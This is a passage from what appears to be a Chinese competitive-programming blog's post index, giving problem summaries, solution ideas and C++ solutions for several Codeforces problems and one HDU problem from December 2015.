题意：给定一段序列，只由0,1组成。要求选一段非空区间，做翻转操作（0变1,1变0），问变完之后1最多能有多少。 思路：最后的1个个数=初始的1的个数+变换区间的0的个数-变换区间的1的个数。初始的是常数。那么我们只要找到某一个区间内，0的个数-1的个数有最大值即可。如果a[i]==0的时候令b[i]=1，否则b[i]=0,那就是经典了最大连续区间和的问题了。dp的思想o(n)可以解决。","tags":["dp","最大连续区间和"],"title":"codeforces #327 A. Flipping Game","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/456/problem/C 题意：给出n(1E5)个数（1E5），每次可以选一个数a[k]并删掉a[k],a[k]-1,a[k]+1得到a[k]分，问最多能得到的分数。 思路：裸dp.f[i]表示选到数i的时候能达到的最大分数。开一个计数数组cnt[x]表示数字x出现的次数。那么显然有f[0]=0,f[1]=cnt[1],f[i(i\u003e=2)] = max(f[i-1]，f[i-2]+f[i]*cnt[i]);答案为f[max(a[i])]，注意要开long long 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月25日 星期五 18时17分05秒 4File Name :code/cf/problem/455A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n ; 35int a[N]; 36LL cnt[N]; 37LL dp[N]; 38 39bool cmp( int a,int b) 40{ 41 return a\u003eb; 42} 43int main() 44{ 45 #ifndef ONLINE_JUDGE 46 freopen(\"code/in.txt\",\"r\",stdin); 47 #endif 48 cin\u003e\u003en; 49 ms(cnt,0); 50 for ( int i = 0 ; i \u003c n ; i++) 51 { 52 scanf(\"%d\",\u0026a[i]); 53 cnt[a[i]]++; 54 } 55 56 dp[0] = 0 ; //dp[i]表示到数字i时能得到的最多分数 57 dp[1] = cnt[1]; 58 for ( int i = 2 ; i \u003c= 1E5 ; i++) 59 { 60 dp[i] = max(dp[i-1],dp[i-2]+i*cnt[i]); 61 } 62 cout\u003c\u003cdp[100000]\u003c\u003cendl; 63 64 65 #ifndef ONLINE_JUDGE 66 fclose(stdin); 67 #endif 68 return 0; 69}","date":"2015-12-25","externalUrl":null,"permalink":"/2015/12/codeforces-456-c-boredom/","section":"Posts","summary":"http://codeforces.com/contest/456/problem/C 题意：给出n(1E5)个数（1E5），每次可以选一个数a[k]并删掉a[k],a[k]-1,a[k]+1得到a[k]分，问最多能得到的分数。 思路：裸dp.f[i]表示选到数i的时候能达到的最大分数。开一个计数数组cnt[x]表示数字x出现的次数。那么显然有f[0]=0,f[1]=cnt[1],f[i(i\u003e=2)] = max(f[i-1]，f[i-2]+f[i]*cnt[i]);答案为f[max(a[i])]，注意要开long long","tags":["dp"],"title":"codeforces 456 C. Boredom","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/608/problem/B 题意：给定两个字符串a,b，问b中的每个连续的长度为a的子串与a的哈密顿距离的和是多少。哈密顿距离是对应位置的字符的差的绝对值的和。由于是01串，也就是字符不同的位置数。 思路：类似前缀和。0和1分别搞。注意开long long 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月24日 星期四 00时32分33秒 4File Name :code/cf/#336/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E5+7; 34int la,lb; 35char a[N],b[N]; 36int sum0[N],sum1[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ms(sum0,0); 43 ms(sum1,0); 44 scanf(\"%s\",a); 45 scanf(\"%s\",b); 46 la = strlen(a); 47 lb = strlen(b); 48 int sum = 0 ; 49 if (la==1) 50 { 51 for ( int i = 0 ; i \u003c lb ; i++) 52 { 53 if (b[i]!=a[0]) sum++; 54 } 55 cout\u003c\u003csum\u003c\u003cendl; 56 return 0; 57 58 } 59 60 for ( int i = 0 ; i \u003c lb ; i++) 61 { 62 if (b[i]=='0') 63 { 64 sum0[i+1] = sum0[i]+1; 65 sum1[i+1] = sum1[i]; 66 } 67 else 68 { 69 sum1[i+1] = sum1[i] +1; 70 sum0[i+1] = sum0[i]; 71 } 72 } 73// for ( int i = 1 ; i \u003c= lb ; i++) 74// cout\u003c\u003csum0[i]\u003c\u003c\" \"\u003c\u003csum1[i]\u003c\u003cendl; 75 LL ans = 0; 76 for (int i= 0 ; i \u003c la ; i++) 77 { 78 if (a[i]=='0') 79 { 80 ans+=LL(sum1[lb-la+i+1]-sum1[i]); 81 } 82 else 83 { 84 ans+=LL(sum0[lb-la+i+1]-sum0[i]","date":"2015-12-23","externalUrl":null,"permalink":"/2015/12/cf608b/","section":"Posts","summary":"http://codeforces.com/contest/608/problem/B 题意：给定两个字符串a,b，问b中的每个连续的长度为a的子串与a的哈密顿距离的和是多少。哈密顿距离是对应位置的字符的差的绝对值的和。由于是01串，也就是字符不同的位置数。 思路：类似前缀和。0和1分别搞。注意开long long","tags":["前缀和"],"title":"codeforces #336 div 2 B. Hamming Distance Sum","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/608/problem/A 题意：一个电梯，从s到0层，单项，给出n个人，每个人在某时间出现在某层，问要花多长时间把所有人运到0。初始电梯在s，每下一层话费时间1，上来人不花时间。 思路：由于电梯只能是单项，那么到达某一层的时候，一定要等到把这层中最晚来的那个接走。所以排序的时候按照楼层高到低为第一关键字，等待时间长到短为第二关键字。对于同一楼层出现的，只考虑第一个即可，也就是最后出现的。需要注意的是最后接完最后一个人以后把电梯运行道0层。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月24日 星期四 00时32分24秒 4File Name :code/cf/#336/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int s; 36struct node 37{ 38 int f,t; 39 40 bool operator \u003c(node b)const 41 { 42 if (f\u003eb.f) return true; 43 if (f==b.f\u0026\u0026t\u003eb.t) return true; 44 return false; 45 } 46}q[N]; 47int main() 48{ 49 #ifndef ONLINE_JUDGE 50 freopen(\"code/in.txt\",\"r\",stdin); 51 #endif 52 cin\u003e\u003en\u003e\u003es; 53 for ( int i = 1 ; i\u003c= n ;i++) cin\u003e\u003eq[i].f\u003e\u003eq[i].t; 54 55 sort(q+1,q+n+1); 56 int cur = s; 57 int t = 0 ; 58 q[0].f = -1; 59// for ( int i = 1 ; i \u003c= n ; i++) cout\u003c\u003cq[i].f\u003c\u003c\" \"\u003c\u003cq[i].t\u003c\u003cendl; 60 for ( int i = 1 ; i \u003c= n ; i++) 61 { 62 if (q[i].f==q[i-1].f) continue; 63 t+=cur-q[i].f; 64 // cout\u003c\u003c\"t:\"\u003c\u003ct\u003c\u003c\" \"; 65 cur = q[i].f; 66 if (t\u003cq[i].t) 67 { 68 t = q[i].t; 69 } 70 // cout\u003c\u003c\"t2:\"\u003c\u003ct\u003c\u003cendl; 71 } 72 t+=q[n].f; 73 cout\u003c\u003ct\u003c\u003cendl; 74 75 #ifndef ONLINE","date":"2015-12-23","externalUrl":null,"permalink":"/2015/12/cf608a/","section":"Posts","summary":"http://codeforces.com/contest/608/problem/A 题意：一个电梯，从s到0层，单项，给出n个人，每个人在某时间出现在某层，问要花多长时间把所有人运到0。初始电梯在s，每下一层话费时间1，上来人不花时间。 思路：由于电梯只能是单项，那么到达某一层的时候，一定要等到把这层中最晚来的那个接走。所以排序的时候按照楼层高到低为第一关键字，等待时间长到短为第二关键字。对于同一楼层出现的，只考虑第一个即可，也就是最后出现的。需要注意的是最后接完最后一个人以后把电梯运行道0层。","tags":["brute force"],"title":"codeforces #336 div 2 A. Saitama Destroys Hotel","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/599/problem/D 题意：给出总的方格数x，问有多少种不同尺寸的矩形满足题意，输出方案数和长宽（3,5和5,3算两种） 思路：比赛的时候gg了。。其实稍微在纸上推一下。就会得到对于n,m的矩形，一共会有-nnn+3nnm+n+3n*m的方格。数量级是n3。 我们可以实际跑一遍。发现对于x1E18的数量级，n不会超过1442550，1E6,可以搞。 需要注意的是，一个是会爆int,所以记得用long long 另一个是如果两个数相等，记得只输入一组，并且方案数-1 我是用set +pair存的答案。。反向遍历set的时候要用reserve_iterator… 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月23日 星期三 15时54分37秒 4File Name :code/cf/#332/D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c LL ,LL \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL x; 34LL cur; 35const LL MAXN = 1442550; 36set\u003cpi\u003ese; 37LL cal( LL n,LL m) 38{ 39 LL res = -n*n*n+3*n*n*m+3*n*m+n; 40 return res; 41} 42int square = -1; 43int main() 44{ 45 #ifndef ONLINE_JUDGE 46 freopen(\"code/in.txt\",\"r\",stdin); 47 #endif 48// for ( LL i = 1 ; ; i++) 49// { 50// cur = cal(i,i); 51// // cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" cur:\"\u003c\u003ccur\u003c\u003cendl; 52// if (cur\u003e1E18) 53// { 54// cout\u003c\u003ci\u003c\u003cendl; 55// break; 56// } 57// 58// } 59 cin\u003e\u003ex; 60 x = x*6; 61 for ( LL i = 1 ; cal(i,i)\u003c=x ; i++) 62 { 63 LL tmp = (x-i+i*i*i)%(3*i*i+3*i); 64 // cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" tmp:\"\u003c\u003ctmp\u003c\u003cendl; 65 if (tmp==0) 66 { 67 se.insert(make_pair(i,(x-i+i*i*i)/(3*i*i+3*i))); 68 if (i==(x-i+i*i*i)/(3*i*i+3*i)) square = 1; 69 70 } 71 }","date":"2015-12-23","externalUrl":null,"permalink":"/2015/12/cf559d/","section":"Posts","summary":"http://codeforces.com/contest/599/problem/D 题意：给出总的方格数x，问有多少种不同尺寸的矩形满足题意，输出方案数和长宽（3,5和5,3算两种） 思路：比赛的时候gg了。。其实稍微在纸上推一下。就会得到对于n,m的矩形，一共会有-nnn+3nnm+n+3n*m的方格。数量级是n3。 我们可以实际跑一遍。发现对于x1E18的数量级，n不会超过1442550，1E6,可以搞。","tags":["math","set","stl"],"title":"codeforces #332 div 2 D. Spongebob and Squares","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/602/problem/D 题意：见题目描述。 思路：我们很容易发现，l[h]函数其实就是在求区间斜率的最大值。哦不对，是斜率的绝对值的最大值。而且一个显而易见的结论是，斜率最大值一定是由相邻的点得到。画图可以很容易看出。 具体的证明见这里： In order to prove it properly, we’ll consider three numbers A__i, A__j, A__k (i \u003c j \u003c k) and show that one of the numbers _L_1(i, j),_L_1(j, k) is ≥ _L_1(i, k). W.l.o.g., we may assume A__i ≤ A__k. There are 3 cases depending on the position of A__j relative to A__i, A__k: A__j \u003e A__i, A__k — we can see that _L_1(i, j) \u003e _L_1(i, k), since |A__j - A__i| = A__j - A__i \u003e A__k - A__i = |A__k - A__i| and j - i \u003c k - i; we just need to divide those inequalities A__j \u003c A__i, A__k — this is similar to the previous case, we can prove that _L_1(j, k) \u003e _L_1(i, k) in the same way A__i ≤ A__j ≤ A__k — this case requires more work: we’ll denote d_1_y = A__j - A__i, d_2_y = A__k - A__j, d_1_x = j - i, d_2_x = k - j then, _L_1(i, j) = d_1_y / d_1_x, _L_1(j, k) = d_2_y / d_2_x, _L_1(i, k) = (d_1_y + d_2_y) / (d_1_x + d_2_x) let’s prove it by contradiction: assume that _L_1(i, j), _L_1(j, k) \u003c _L_1(i, k) d_1_y + d_2_y = _L_1(i, j)d_1_x + _L_1(j, k)d_2_x \u003c _L_1(i, k)d_1_x + _L_1(i, k)d_2_x = _L_1(i, k)(d_1_x + d_2_x) = d_1_y + d_2_y, which is a contradiction We’ve just proved that to any _L_1 computed for two elements A[i], A[k] with k \u003e i + 1, we can replace one of i, j by a point _j_between them without decreasing _L_1; a sufficient amount of such operations will give us k = i + 1. Therefore, the max. _L_1can be found by only considering differences between adjacent points. 这样子就好做了很多。由于斜率绝对值的最大值一定在由相邻的两个点得到。而相邻两个点的横坐标差1，所以斜率的绝对值就变成了相邻元素差的最大值。因此我们可以预处理一个数组b，表示相邻元素的差的绝对值。 接下来的问题就变成了如何求b的一段区间里的所有子区间的最大值的和。我们的思路是考虑这个区间里每个元素对答案的贡献。显然，对于b中越大的元素，它对答案的贡献会越多，因为会有更多包含它的区间以它为最大值。具体来讲，对于这个区间的每一个元素，我们可以分别向左和右边扩展，看最大能到哪里。 比如3 4 3 8 2 7 1，对于8，左边可以到达3，","date":"2015-12-23","externalUrl":null,"permalink":"/2015/12/codeforces-333-div-2-d-lipshitz-sequence/","section":"Posts","summary":"http://codeforces.com/contest/602/problem/D 题意：见题目描述。 思路：我们很容易发现，l[h]函数其实就是在求区间斜率的最大值。哦不对，是斜率的绝对值的最大值。而且一个显而易见的结论是，斜率最大值一定是由相邻的点得到。画图可以很容易看出。","tags":["math"],"title":"codeforces #333 div 2 D. Lipshitz Sequence","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/602/C 题意：给出n个城镇，m条双向铁路，对于任意不同的x,y，如果x,y之间没有铁路，那么一定有双向公路。train只能走铁路，bus只能走公路。现在一辆火车和一辆bus同时从1出发，要到达n，处于安全考虑，bus和火车不能同时处在除了n以外的点。bus和train不要求同时到达。任意一段道路的时间花费都是1小时。问最少需要多久使得bus和train都到达n。如果存在某个不能到达，那么输出-1. 思路：n才400.一开始打算先按照rail和road建两个图。这两个图互为补。然后在floyd的时候加以判断。但是马上就发现。。不能同时到达同伙一个点这个条件其实不会影响。。因为按照题意，一定存在一条1到n的路，不是公路就是铁路。那么就让有路的花费1的代价到n，然后剩下的求一个一到n的最短路即可。由于n才400.。最短路怎么搞都行。。我偷懒就用floyd了。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月22日 星期二 16时28分59秒 4File Name :code/cf/#333/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=4E2+7; 34int n ,m; 35int road[N][N]; 36int rail[N][N]; 37 38int floyd() 39{ 40 for ( int k = 1 ; k \u003c= n ; k++) 41 for ( int i = 1 ; i \u003c= n ; i++) 42 for ( int j = 1 ; j \u003c= n ; j++) 43 if (rail[i][j]\u003erail[i][k]+rail[k][j]) rail[i][j] = rail[i][k] + rail[k][j]; 44 if (rail[1][n]==inf) return -1; 45 else return rail[1][n]; 46} 47 48int floyd2() 49{ 50 for ( int k = 1 ; k \u003c= n ; k++) 51 for ( int i =1 ; i \u003c= n ; i++) 52 for ( int j = 1 ; j \u003c= n ;j++) 53 road[i][j] = min(road[i][j],road[i][k]+road[k][j]); 54 if (road[1][n]==inf) return -1; 55 else return road[1][n]; 56 57","date":"2015-12-22","externalUrl":null,"permalink":"/2015/12/cf602c/","section":"Posts","summary":"http://codeforces.com/problemset/problem/602/C 题意：给出n个城镇，m条双向铁路，对于任意不同的x,y，如果x,y之间没有铁路，那么一定有双向公路。train只能走铁路，bus只能走公路。现在一辆火车和一辆bus同时从1出发，要到达n，处于安全考虑，bus和火车不能同时处在除了n以外的点。bus和train不要求同时到达。任意一段道路的时间花费都是1小时。问最少需要多久使得bus和train都到达n。如果存在某个不能到达，那么输出-1. 思路：n才400.一开始打算先按照rail和road建两个图。这两个图互为补。然后在floyd的时候加以判断。但是马上就发现。。不能同时到达同伙一个点这个条件其实不会影响。。因为按照题意，一定存在一条1到n的路，不是公路就是铁路。那么就让有路的花费1的代价到n，然后剩下的求一个一到n的最短路即可。由于n才400.。最短路怎么搞都行。。我偷懒就用floyd了。","tags":["图论","最短路"],"title":"codeforces #333 div 2 C. The Two Routes","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/602/problem/B 题意：给定n个数，问最大连续区间长度，满足这段区间内最大值和最小值的差的绝对值小于等于1. 思路：尺取+set。尺取法，由于要时刻得到一段区间的最大值和最小值，而且可能有重复元素，所以用multiset. 需要注意的是，set里最小值是se.begin() ，最大值是se.rbegin()这样比较好。。不要用se.end()之类。。。 另一个需要注意的是，multiset里用erase的时候。如果se.erase(x)会把集合里所有的x都删除掉。如果指向删除一个，那么应该写成se.erase(se.find(x)) 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月22日 星期二 15时10分01秒 4File Name :code/cf/#333/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n ; 35int a[N]; 36 37void ruler() 38{ 39 int head = 1; 40 int tail = 1; 41 int ans = -1; 42 multiset\u003cint\u003ese; 43 while (tail\u003c=n) 44 { 45 se.insert(a[tail]); 46// cout\u003c\u003c\"tail:\"\u003c\u003ctail\u003c\u003c\" a[tail]:\"\u003c\u003ca[tail]\u003c\u003c\" \"\u003c\u003cendl; 47// cout\u003c\u003c\"min:\"\u003c\u003c*se.begin()\u003c\u003c\" max:\"\u003c\u003c*se.end()\u003c\u003cendl; 48 if (abs(*se.begin()-*se.rbegin())\u003e1) 49 { 50 se.erase(se.find(a[head]));//这样写是删除multiset中的一个元素，写成se.erase(a[head])会删除掉所有的。 51 //删掉一个就可以。虽然删掉一个不一定使得满足最大值和最小值差的绝对值小于等于1 52 //但是之前插入一个，现在删除一个，区间长度没有变，就是不会对当前答案有影响。 53 head++; 54 } 55 ans = max(ans,int(se.size())); 56 57// cout\u003c\u003c\"size:\"\u003c\u003cint(se.size())\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003c\" tail:\"\u003c\u003ctail\u003c\u003cendl; 58 tail++; 59 60 } 61 cout\u003c\u003cans\u003c\u003cendl; 62 multiset\u003cint\u003e::iterator it","date":"2015-12-22","externalUrl":null,"permalink":"/2015/12/cf602b/","section":"Posts","summary":"http://codeforces.com/contest/602/problem/B 题意：给定n个数，问最大连续区间长度，满足这段区间内最大值和最小值的差的绝对值小于等于1. 思路：尺取+set。尺取法，由于要时刻得到一段区间的最大值和最小值，而且可能有重复元素，所以用multiset.","tags":["set","stl"],"title":"codeforces #333 div 2B. Approximating a Constant Range","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/604/problem/E 题意：有两个人做游戏，游戏规则如下： 有n堆石子，每次可以对一堆石子进行操作，如果当前石子是偶数，那么可以选择将这2*x个石子分成k堆石子数为x的石子堆，还有一种没有前提的操作是取走当前堆的一个石子，问先手赢还是后手赢，先手和后手都足够聪明的情况下。 思路：博弈论。。不会做。。第一次接触sg函数。。转载一篇题解： http://m.blog.csdn.net/blog/qq_24451605/50154973 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月22日 星期二 14时29分05秒 4File Name :code/cf/#334/E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,k,res; 34int pre[5]={0,1,0,1,2}; 35 36int grundy( int a) 37{ 38 if (k%2==0) 39 { 40 if (a==1) return 1; 41 if (a==2) return 2; 42 return (a%2)^1; 43 } 44 else 45 { 46 if (a\u003c5) return pre[a]; 47 if (a%2==1) return 0; 48 return (grundy(a/2)==1?2:1); 49 } 50} 51int main() 52{ 53 #ifndef ONLINE_JUDGE 54 freopen(\"code/in.txt\",\"r\",stdin); 55 #endif 56 57 cin\u003e\u003en\u003e\u003ek; 58 for ( int i = 0 ; i \u003c n; i++) 59 { 60 int x; 61 cin\u003e\u003ex; 62 res ^= grundy(x); 63 } 64 if (res!=0) 65 { 66 puts(\"Kevin\"); 67 } 68 else 69 { 70 puts(\"Nicky\"); 71 } 72 73 #ifndef ONLINE_JUDGE 74 fclose(stdin); 75 #endif 76 return 0; 77}","date":"2015-12-22","externalUrl":null,"permalink":"/2015/12/cf603e/","section":"Posts","summary":"http://codeforces.com/contest/604/problem/E 题意：有两个人做游戏，游戏规则如下： 有n堆石子，每次可以对一堆石子进行操作，如果当前石子是偶数，那么可以选择将这2*x个石子分成k堆石子数为x的石子堆，还有一种没有前提的操作是取走当前堆的一个石子，问先手赢还是后手赢，先手和后手都足够聪明的情况下。 思路：博弈论。。不会做。。第一次接触sg函数。。转载一篇题解： http://m.blog.csdn.net/blog/qq_24451605/50154973","tags":["grundy","博弈论"],"title":"codeforces #334 div 2 E. Lieges of Legendre","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/604/problem/D 题意：一个恒等式 f(kx%p)=kf(x)%p ,k,p为常数，且满足x对于定义域为0..p-1的p的整数，值域也在0..p-1范围（不一定一一对应）。问满足题意的f有多少个。 思路： f(0)=0,对于其他的值，当f（x）确定时，f（kx%p）也随之确定，那么把kx%p看做新的x,f（kkx%p）也随之确定…相当于【1，p-1】被分为r个小环，确定每个环可以任选一个数字，ans=p^r。环的个数可以用dfs跑一遍得到r. 注意当k=1的时候是特殊情况，f(x)恒等于f(x)那么答案应该有p的p次方种。因为对于p个f(0..p-1)，每一个都可以任意取p种值。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月22日 星期二 12时31分09秒 4File Name :code/cf/#334/D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int MOD =1E9+7; 34const int N=1E6+7; 35LL p,k; 36LL ans; 37bool v[N]; 38 39void dfs( int x) 40{ 41// cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003cendl; 42 v[x] = true; 43 int y = (k*x)%p; 44 if (!v[y]) dfs(y); 45} 46 47int main() 48{ 49 #ifndef ONLINE_JUDGE 50// freopen(\"code/in.txt\",\"r\",stdin); 51 #endif 52 ms(v,false); 53 cin\u003e\u003ep\u003e\u003ek; 54 if (k==1) ans = p; 55 else ans = 1; 56 57 for ( int i = 1 ; i \u003c= p-1 ; i++) 58 { 59 if (v[i]) continue; 60 ans = (ans *p)%MOD; 61 dfs(i); 62 } 63 cout\u003c\u003cans\u003c\u003cendl; 64 65 #ifndef ONLINE_JUDGE 66 fclose(stdin); 67 #endif 68 return 0; 69}","date":"2015-12-22","externalUrl":null,"permalink":"/2015/12/cf604d/","section":"Posts","summary":"http://codeforces.com/contest/604/problem/D 题意：一个恒等式 f(kx%p)=kf(x)%p ,k,p为常数，且满足x对于定义域为0..p-1的p的整数，值域也在0..p-1范围（不一定一一对应）。问满足题意的f有多少个。 思路： f(0)=0,对于其他的值，当f（x）确定时，f（kx%p）也随之确定，那么把kx%p看做新的x,f（kkx%p）也随之确定…相当于【1，p-1】被分为r个小环，确定每个环可以任选一个数字，ans=p^r。环的个数可以用dfs跑一遍得到r. 注意当k=1的时候是特殊情况，f(x)恒等于f(x)那么答案应该有p的p次方种。因为对于p个f(0..p-1)，每一个都可以任意取p种值。","tags":["dfs","组合数学","计数问题"],"title":"codeforces #334 div 2 D.Moodular Arithmetic","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1221 题意：问圆和矩形是否相交 思路：主要特殊的包含情况，然后判断与线段相交。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月21日 星期一 21时38分22秒 4File Name :code/hdu/rr1221.cpp 5************************************************ */ 6 7#include \u003ciostream\u003e 8#include \u003cstring.h\u003e 9#include \u003cstdio.h\u003e 10#include \u003calgorithm\u003e 11#include \u003ccmath\u003e 12#define eps 1e-8 13using namespace std; 14struct point 15{ 16 double x; 17 double y; 18}circle,a,b,c,d; 19double r; 20double dis(point \u0026a,point \u0026b) 21{ 22 return sqrt((a.x-b.x)*(a.x-b.x)+(a.y-b.y)*(a.y-b.y)); 23} 24 25bool ok() 26{ 27 28 if(dis(a,circle)\u003cr \u0026\u0026 dis(b,circle) \u003cr \u0026\u0026 dis(c,circle)\u003cr \u0026\u0026 dis(d,circle) \u003cr) 29 return false; 30 if(circle.x\u003e=a.x \u0026\u0026 circle.x\u003c=b.x) 31 { 32 if(fabs(circle.y-a.y) \u003c= r || fabs(circle.y-b.y) \u003c= r) 33 return true; 34 } 35 if((circle.y \u003e= a.y \u0026\u0026 circle.y \u003c=b.y) || (circle.y\u003e=b.y \u0026\u0026 circle.y\u003c=a.y)) 36 { 37 if(fabs(circle.x-a.x) \u003c=r || fabs(circle.x-b.x) \u003c=r) 38 return true; 39 } 40 if(dis(a,circle)\u003c=r || dis(b,circle) \u003c=r || dis(c,circle)\u003c=r || dis(d,circle) \u003c=r) 41 return true; 42 return false; 43} 